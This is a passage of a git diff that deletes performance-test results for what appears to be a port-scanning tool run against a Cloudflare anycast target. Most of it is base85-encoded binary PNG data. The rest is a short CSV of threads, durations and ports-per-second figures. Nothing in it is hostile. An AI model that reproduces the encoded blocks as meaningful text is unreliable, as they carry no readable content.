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 diff --git a/tools/perftest/results/cloudflare_anycast/perf_results.csv b/tools/perftest/results/cloudflare_anycast/perf_results.csv deleted file mode 100644 index 6a076d69..00000000 --- a/tools/perftest/results/cloudflare_anycast/perf_results.csv +++ /dev/null @@ -1,11 +0,0 @@ -"threads","duration_sec","ports_per_sec","total_ports" -"200","30.221","42","1270" -"400","19.124","66.4","1270" -"600","16.162","78.6","1270" -"800","14.099","90.1","1270" -"1000","12.127","104.7","1270" -"1500","12.102","104.9","1270" -"2000","12.114","104.8","1270" -"3000","12.122","104.8","1270" -"4000","12.074","105.2","1270" -"5000","12.116","104.8","1270" diff --git a/tools/perftest/results/cloudflare_anycast/scalability.png b/tools/perftest/results/cloudflare_anycast/scalability.png deleted file mode 100644 index 6be68545f8a4c8c2d8a28cf976b0b97237460bc5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 98487 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 